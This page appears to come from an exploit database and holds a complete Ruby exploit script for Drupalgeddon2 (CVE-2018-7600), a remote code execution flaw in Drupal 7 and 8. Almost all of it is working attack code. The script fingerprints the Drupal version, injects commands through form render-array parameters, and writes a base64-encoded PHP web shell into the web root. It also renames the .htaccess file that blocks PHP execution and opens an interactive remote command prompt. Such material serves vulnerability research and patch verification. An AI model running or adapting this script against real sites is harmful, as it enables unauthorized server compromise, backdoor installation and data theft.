Exploit Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution

[Exploiter]

EDB-ID

44449

Проверка EDB

1. Пройдено

Автор

HANS TOPO &AMP; G0TMI1K

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2018-7600

Дата публикации

2018-04-13

Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution

#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k   ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#


require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'
require 'highline/import'


# Settings - Try to write a PHP to the web root?
try_phpshell = true
# Settings - General/Stealth
$useragent = "drupalgeddon2"
webshell = "shell.php"
# Settings - Proxy information (nil to disable)
$proxy_addr = nil
$proxy_port = 8080


# Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!)
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Function http_request <url> [type] [data]
def http_request(url, type="get", payload="", cookie="")
  puts verbose("HTTP - URL : #{url}") if $verbose
  puts verbose("HTTP - Type: #{type}") if $verbose
  puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose

  begin
    uri = URI(url)
    request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
    request.initialize_http_header({"User-Agent" => $useragent})
    request.initialize_http_header("Cookie" => cookie) if not cookie.empty?
    request.body = payload if not payload.empty?
    return $http.request(request)
  rescue SocketError
    puts error("Network connectivity issue")
  rescue Errno::ECONNREFUSED => e
    puts error("The target is down ~ #{e.message}")
    puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr
  rescue Timeout::Error => e
    puts error("The target timed out ~ #{e.message}")
  end

  # If we got here, something went wrong.
  exit
end


# Function gen_evil_url <cmd> [method] [shell] [phpfunction]
def gen_evil_url(evil, element="", shell=false, phpfunction="passthru")
  puts info("Payload: #{evil}") if not shell
  puts verbose("Element    : #{element}") if not shell and not element.empty? and $verbose
  puts verbose("PHP fn     : #{phpfunction}") if not shell and $verbose

  # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render
  # Check the version to match the payload
  if $drupalverion.start_with?("8") and element == "mail"
    # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200
    url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil

  elsif $drupalverion.start_with?("8") and element == "timezone"
    # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru
    url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil

    #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru"

  elsif $drupalverion.start_with?("7") and element == "name"
    # Method #3 - Drupal v7.x: name, #post_render - HTTP 200
    url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
    payload = "form_id=user_pass&_triggering_element_name=name"
  end

  # Drupal v7.x needs an extra value from a form
  if $drupalverion.start_with?("7")
    response = http_request(url, "post", payload, $session_cookie)

    form_name = "form_build_id"
    puts verbose("Form name  : #{form_name}") if $verbose

    form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
    puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
    puts verbose("Form value : #{form_value}") if $verbose

    url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
    payload = "#{form_name}=#{form_value}"
  end

  return url, payload
end


# Function clean_result <input>
def clean_result(input)
  #result = JSON.pretty_generate(JSON[response.body])
  #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean
  clean = input.to_s.strip

  # PHP function: passthru
  # For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  clean.slice!(/\[{"command":".*}\]$/)

  # PHP function: exec
  # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  #clean.slice!(/\[{"command":".*data":"/)
  #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/)

  # Newer PHP for an older Drupal
  # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
  #clean.slice!(/<b>.*<br \/>/)

  # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500
  # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
  clean.slice!(/The website encountered an unexpected error.*/)

  return clean
end


# Feedback when something goes right
def success(text)
  # Green
  return "\e[#{32}m[+]\e[0m #{text}"
end

# Feedback when something goes wrong
def error(text)
  # Red
  return "\e[#{31}m[-]\e[0m #{text}"
end

# Feedback when something may have issues
def warning(text)
  # Yellow
  return "\e[#{33}m[!]\e[0m #{text}"
end

# Feedback when something doing something
def action(text)
  # Blue
  return "\e[#{34}m[*]\e[0m #{text}"
end

# Feedback with helpful information
def info(text)
  # Light blue
  return "\e[#{94}m[i]\e[0m #{text}"
end

# Feedback for the overkill
def verbose(text)
  # Dark grey
  return "\e[#{90}m[v]\e[0m #{text}"
end


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

def init_authentication()
  $uname = ask('Enter your username:  ') { |q| q.echo = false }
  $passwd = ask('Enter your password:  ') { |q| q.echo = false }
  $uname_field = ask('Enter the name of the username form field:  ') { |q| q.echo = true }
  $passwd_field = ask('Enter the name of the password form field:  ') { |q| q.echo = true }
  $login_path = ask('Enter your login path (e.g., user/login):  ') { |q| q.echo = true }
  $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...):  ') { |q| q.echo = true }
end

def is_arg(args, param)
  args.each do |arg|
    if arg == param
      return true
    end
  end
  return false
end


# Quick how to use
def usage()
  puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]'
  puts 'Example for target that does not require authentication:'
  puts '       ruby drupalgeddon2.rb https://example.com'
  puts 'Example for target that does require authentication:'
  puts '       ruby drupalgeddon2.rb https://example.com --authentication'
end


# Read in values
if ARGV.empty?
  usage()
  exit
end

$target = ARGV[0]
init_authentication() if is_arg(ARGV, '--authentication')
$verbose = is_arg(ARGV, '--verbose')


# Check input for protocol
$target = "http://#{$target}" if not $target.start_with?("http")
# Check input for the end
$target += "/" if not $target.end_with?("/")


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Banner
puts action("--==[::#Drupalggedon2::]==--")
puts "-"*80
puts info("Target : #{$target}")
puts info("Proxy  : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr
puts info("Write? : Skipping writing PHP web shell") if not try_phpshell
puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port)

# Use SSL/TLS if needed
if uri.scheme == "https"
  $http.use_ssl = true
  $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end

$session_cookie = ''
# If authentication required then login and get session cookie
if $uname
  $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix
  response = http_request($target + $login_path, 'post', $payload, $session_cookie)
  if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie']
    $session_cookie = response['set-cookie'].split('; ')[0]
    puts success("Logged in - Session Cookie : #{$session_cookie}")
  end

end

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Try and get version
$drupalverion = ""

# Possible URLs
url = [
  # --- changelog ---
  # Drupal v6.x / v7.x [200]
  $target + "CHANGELOG.txt",
  # Drupal v8.x [200]
  $target + "core/CHANGELOG.txt",

  # --- bootstrap ---
  # Drupal v7.x / v6.x [403]
  $target + "includes/bootstrap.inc",
  # Drupal v8.x [403]
  $target + "core/includes/bootstrap.inc",

  # --- database ---
  # Drupal v7.x / v6.x  [403]
  $target + "includes/database.inc",
  # Drupal v7.x [403]
  #$target + "includes/database/database.inc",
  # Drupal v8.x [403]
  #$target + "core/includes/database.inc",

  # --- landing page ---
  # Drupal v8.x / v7.x [200]
  $target,
]

# Check all
url.each do|uri|
  # Check response
  response = http_request(uri, 'get', '', $session_cookie)

  # Check header
  if response['X-Generator'] and $drupalverion.empty?
    header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip

    if not header.empty?
      $drupalverion = "#{header}.x" if $drupalverion.empty?
      puts success("Header : v#{header} [X-Generator]")
      puts verbose("X-Generator: #{response['X-Generator']}") if $verbose
    end
  end

  # Check request response, valid
  if response.code == "200"
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
    puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")

    # Check to see if it says: The requested URL "http://<URL>" was not found on this server.
    puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server"

    # Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div>
    puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"

    # Only works for CHANGELOG.txt
    if uri.match(/CHANGELOG.txt/)
      # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x
      puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"

      # Patched already? (For Drupal v8.4.x / v7.x)
      puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"

      # Try and get version from the file contents (For Drupal v8.4.x / v7.x)
      $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip

      # Blank if not valid
      $drupalverion = "" if not $drupalverion[-1] =~ /\d/
    end

    # Check meta tag
    if not response.body.empty?
      # For Drupal v8.x / v7.x
      meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /)
      metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip

      if not metatag.empty?
        $drupalverion = "#{metatag}.x" if $drupalverion.empty?
        puts success("Metatag: v#{$drupalverion} [Generator]")
        puts verbose(meta.to_s) if $verbose
      end
    end

    # Done! ...if a full known version, else keep going... may get lucky later!
    break if not $drupalverion.end_with?("x") and not $drupalverion.empty?
  end

  # Check request response, not allowed
  if response.code == "403" and $drupalverion.empty?
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
    puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")

    if $drupalverion.empty?
      # Try and get version from the URL (For Drupal v.7.x/v6.x)
      $drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty?
      # Try and get version from the URL (For Drupal v8.x)
      $drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty?

      # If we got something, show it!
      puts success("URL    : v#{$drupalverion}?") if not $drupalverion.empty?
    end

  else
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
    puts warning("MISSING: #{uri}    (HTTP Response: #{response.code})#{tmp}")
  end
end


# Feedback
if not $drupalverion.empty?
  status = $drupalverion.end_with?("x")? "?" : "!"
  puts success("Drupal#{status}: v#{$drupalverion}")
else
  puts error("Didn't detect Drupal version")
  exit
end

if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
  puts error("Unsupported Drupal version (#{$drupalverion})")
  exit
end
puts "-"*80




# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



# The attack vector to use
$form = $drupalverion.start_with?("8")? "user/register" : "user/password"

# Make a request, check for form
url = "#{$target}?q=#{$form}"
puts action("Testing: Form   (#{$form})")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
  puts success("Result : Form valid")
elsif response['location']
  puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})...   Could try following the redirect: #{response['location']}")
  exit
elsif response.code == "404"
  puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})...   Form disabled?")
  exit
elsif response.code == "403"
  puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})...   Form blocked?")
  exit
elsif response.body.empty?
  puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
  exit
else
  puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})")
end


puts "- "*40


# Make a request, check for clean URLs status ~ Enabled: /user/register   Disabled: /?q=user/register
# Drupal v7.x needs it anyway
$clean_url = $drupalverion.start_with?("8")? "" : "?q="
url = "#{$target}#{$form}"

puts action("Testing: Clean URLs")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
  puts success("Result : Clean URLs enabled")
else
  $clean_url = "?q="
  puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})")
  puts verbose("response.body: #{response.body}") if $verbose

  # Drupal v8.x needs it to be enabled
  if $drupalverion.start_with?("8")
    puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE")
    exit
  elsif $drupalverion.start_with?("7")
    puts info("Isn't an issue for Drupal v7.x")
  end
end
puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Values in gen_evil_url for Drupal v8.x
elementsv8 = [
  "mail",
  "timezone",
]
# Values in gen_evil_url for Drupal v7.x
elementsv7 = [
  "name",
]

elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7

elements.each do|e|
  $element = e

  # Make a request, testing code execution
  puts action("Testing: Code Execution   (Method: #{$element})")

  # Generate a random string to see if we can echo it
  random = (0...8).map { (65 + rand(26)).chr }.join
  url, payload = gen_evil_url("echo #{random}", e)

  response = http_request(url, "post", payload, $session_cookie)
  if (response.code == "200" or response.code == "500") and not response.body.empty?
    result = clean_result(response.body)
    if not result.empty?
      puts success("Result : #{result}")

      if response.body.match(/#{random}/)
        puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!")
        break

      else
        puts warning("WARNING: Target MIGHT be exploitable [4]...   Detected output, but didn't MATCH expected result")
      end

    else
      puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})...   Didn't detect any INJECTED output (disabled PHP function?)")
    end

    puts warning("WARNING: Target MIGHT be exploitable [5]...   Blind attack?") if response.code == "500"

    puts verbose("response.body: #{response.body}") if $verbose
    puts verbose("clean_result: #{result}") if not result.empty? and $verbose

  elsif response.body.empty?
    puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
    exit

  else
    puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})")
    puts verbose("response.body: #{response.body}") if $verbose
    exit
  end

  puts "- "*40 if e != elements.last
end

puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Location of web shell & used to signal if using PHP shell
webshellpath = ""
prompt = "drupalgeddon2"

# Possibles paths to try
paths = [
  # Web root
  "",
  # Required for setup
  "sites/default/",
  "sites/default/files/",
  # They did something "wrong", chmod -R 0777 .
  #"core/",
]
# Check all (if doing web shell)
paths.each do|path|
  # Check to see if there is already a file there
  puts action("Testing: Existing file   (#{$target}#{path}#{webshell})")

  response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie)
  if response.code == "200"
    puts warning("Response: HTTP #{response.code} // Size: #{response.size}.   ***Something could already be there?***")
  else
    puts info("Response: HTTP #{response.code} // Size: #{response.size}")
  end

  puts "- "*40


  # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


  folder = path.empty? ? "./" : path
  puts action("Testing: Writing To Web Root   (#{folder})")

  # Merge locations
  webshellpath = "#{path}#{webshell}"

  # Final command to execute
  cmd = "#{bashcmd} | tee #{webshellpath}"

  # By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess
  # ...however, Drupal v8.x disables the PHP engine using: ./.htaccess
  if path == "sites/default/files/"
    puts action("Moving : ./sites/default/files/.htaccess")
    cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
  end

  # Generate evil URLs
  url, payload = gen_evil_url(cmd, $element)
  # Make the request
  response = http_request(url, "post", payload, $session_cookie)
  # Check result
  if response.code == "200" and not response.body.empty?
    # Feedback
    result = clean_result(response.body)
    puts success("Result : #{result}") if not result.empty?

    # Test to see if backdoor is there (if we managed to write it)
    response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie)
    if response.code == "200" and not response.body.empty?
      puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!")
      break

    elsif response.code == "404"
      puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})...   Might not have write access?")

    elsif response.code == "403"
      puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")

    elsif response.body.empty?
      puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})...   Got an empty response back")

    else
      puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})")
      puts verbose("response.body: #{response.body}") if $verbose
    end

  elsif response.code == "500" and not response.body.empty?
    puts warning("Target MAY of been exploited... Bit of blind leading the blind")
    break

  elsif response.code == "404"
    puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})...   Might not have write access?")

  elsif response.code == "403"
    puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")

  elsif response.body.empty?
    puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))...   Got an empty response back")

  else
    puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})")
    puts verbose("response.body: #{response.body}") if $verbose
  end

  webshellpath = ""

  puts "- "*40 if path != paths.last
end if try_phpshell

# If a web path was set, we exploited using PHP!
if not webshellpath.empty?
  # Get hostname for the prompt
  prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty?

  puts "-"*80
  puts info("Fake PHP shell:   curl '#{$target}#{webshellpath}' -d 'c=hostname'")
# Should we be trying to call commands via PHP?
elsif try_phpshell
  puts warning("FAILED : Couldn't find a writeable web path")
  puts "-"*80
  puts action("Dropping back to direct OS commands")
end


# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")


# Forever loop
loop do
  # Default value
  result = "~ERROR~"

  # Get input
  command = Readline.readline("#{prompt}>> ", true).to_s

  # Check input
  puts warning("WARNING: Detected an known bad character (>)") if command =~ />/

  # Exit
  break if command == "exit"

  # Blank link?
  next if command.empty?

  # If PHP web shell
  if not webshellpath.empty?
    # Send request
    result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
  # Direct OS commands
  else
    url, payload = gen_evil_url(command, $element, true)
    response = http_request(url, "post", payload, $session_cookie)

    # Check result
    if not response.body.empty?
      result = clean_result(response.body)
    end
  end

  # Feedback
  puts result
end